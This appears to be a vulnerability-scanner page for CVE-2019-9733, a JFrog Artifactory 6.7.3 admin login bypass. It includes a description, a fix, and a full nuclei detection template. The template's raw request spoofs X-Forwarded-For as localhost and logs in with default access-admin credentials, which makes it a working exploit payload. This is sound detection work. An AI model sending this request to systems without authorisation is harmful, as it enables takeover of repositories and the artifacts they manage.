JFrog Artifactory 6.7.3 - Admin Login Bypass

criticalseverity

9.8CVSS score

53.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

JFrog Artifactory 6.7.3 is vulnerable to an admin login bypass issue because by default the access-admin account is used to reset the password of the admin account. While this is only allowable from a connection directly from localhost, providing an X-Forwarded-For HTTP header to the request allows an unauthenticated user to login with the default credentials of the access-admin account while bypassing the whitelist of allowed IP addresses. The access-admin account can use Artifactory's API to request authentication tokens for all users including the admin account and, in turn, assume full control of all artifacts and repositories managed by Artifactory.

Impact

Successful exploitation allows unauthorized access to the admin panel.

Fix

Upgrade to a patched version of JFrog Artifactory or apply the necessary security patches.

How to confirm it

Send: POST /artifactory/ui/auth/login?_spring_security_remember_me=false
Positive when: contains "\"username\": \"access-admin\"" AND status 200

Run it with nuclei: nuclei -id CVE-2019-9733 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-9733

info:
  name: JFrog Artifactory 6.7.3 - Admin Login Bypass
  author: akshansh
  severity: critical
  description: JFrog Artifactory 6.7.3 is vulnerable to an admin login bypass issue because by default the access-admin account is used to reset the password of the admin account. While this is only allowable from a connection directly from localhost, providing an X-Forwarded-For HTTP header to the request allows an unauthenticated user to login with the default credentials of the access-admin account while bypassing the whitelist of allowed IP addresses. The access-admin account can use Artifactory's API to request authentication tokens for all users including the admin account and, in turn, assume full control of all artifacts and repositories managed by Artifactory.
  impact: |
    Successful exploitation allows unauthorized access to the admin panel.
  remediation: |
    Upgrade to a patched version of JFrog Artifactory or apply the necessary security patches.
  reference:
    - http://packetstormsecurity.com/files/152172/JFrog-Artifactory-Administrator-Authentication-Bypass.html
    - https://www.ciphertechs.com/jfrog-artifactory-advisory/
    - https://www.jfrog.com/confluence/display/RTF/Release+Notes#ReleaseNotes-Artifactory6.8.6
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9733
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9733
    epss-score: 0.53879
    epss-percentile: 0.99009
    cpe: cpe:2.3:a:jfrog:artifactory:6.7.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jfrog
    product: artifactory
    shodan-query: cpe:"cpe:2.3:a:jfrog:artifactory"
  tags: cve,cve2019,packetstorm,artifactory,login,jfrog,vkev,vuln

http:
  - raw:
      - |
        POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        X-Requested-With: artUI
        X-Forwarded-For: 127.0.0.1
        Request-Agent: artifactoryUI
        Content-Type: application/json
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/artifactory/webapp/

        {"user":"access-admin","password":"password","type":"login"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username": "access-admin"'

      - type: status
        status:
          - 200

References

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